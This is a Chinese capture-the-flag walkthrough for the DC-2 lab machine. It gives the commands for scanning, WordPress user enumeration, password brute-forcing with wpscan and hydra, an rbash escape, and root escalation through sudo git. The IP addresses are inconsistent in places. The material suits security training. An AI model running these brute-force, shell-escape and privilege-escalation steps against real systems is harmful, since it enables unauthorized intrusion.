DC-2靶机渗透测试

先对目标靶机的网段进行扫描，用nmap命令

nmap -sS 192.168.182.0/24

发现目标IP为10.9.63.96（每个人扫描的ip在不同网段都不一样，根据自身情况进行甄别）看看都开启了哪些端口，发现有80、7744端口开放，打开网页输入ip查看一下80端口http服务网页
打开http://192.168.182.145发现网页打不开，于是我觉得会有隐藏端口，于是再用nmap工具进行扫描一遍

sudo nmap -sS -sV -T4 -O -A 192.168.182.145

这里需要进行更改本地DNS文件否则访问不了，我们修改一下/etc/hosts文件

vim /etc/hosts
192.168.182.145 dc-2

再次打开网页192.168.182.135

发现了第一个flag

flag提醒我们需要找寻找密码和用户，用dirsearch工具扫描一下此网站的目录。

dirsearch -u http://192.168.182.145/ -x 403 404 405 500

发现了admin页面，判断是一个登录后台的页面

用wpscan枚举一下用户信息

wpscan --url http://dc-2 -e u

发现了三个相关的用户名admin，jerry，tom，创建一下用户名字典
用cewl命令获得密码字典

cewl http://dc-2 -w passwd_dc2.txt

根据生成的用户名和密码进行爆破

wpscan --url http://dc-2/ -U user_dc2.txt -P passwd_dc2.txt

获得用户jerry，密码为adipiscing；用户tom，密码为parturient

登录网站后台

发现第二个flag

尝试一下ssh登录，看一下哪个账户能登录进去

hydra -L user_dc2.txt -P passwd_dc2.txt 192.168.182.145 ssh -s 7744

发现用户tom能进行ssh连接，尝试ssh连接

ssh -p 7744 tom@192.168.182.145

登录tom成功，发现flag3，但是同时发现很多指令不能使用，发现有rbash限制

查看路径搜索变量PATH

echo $PATH

查看还有哪些命令能用

ls /home/tom/usr/bin

发现vi可以用，我们看一下flag3.txt

接下来我们就需要使用一些方法逃逸出rbash，我们输入以下两条命令来逃逸出这个受限制的shell

# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
/bin/bash

# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

发现已经绕过入了，flag3提示我们su，我们尝试切换到jerry用户

su jerry

成功登录jerry，发现flag4，提示我们用git提权，我们用sudo -l查看一下可以用的root权限命令

sudo -l

确定是用git进行提权，用下面的命令进行提权

sudo git -p help config
!/bin/sh

发现已经提权成功，查看id已经是root权限，ls发现第四个flag

进入根目录，发现第五个flag

至此DC-2靶机也被我们打穿啦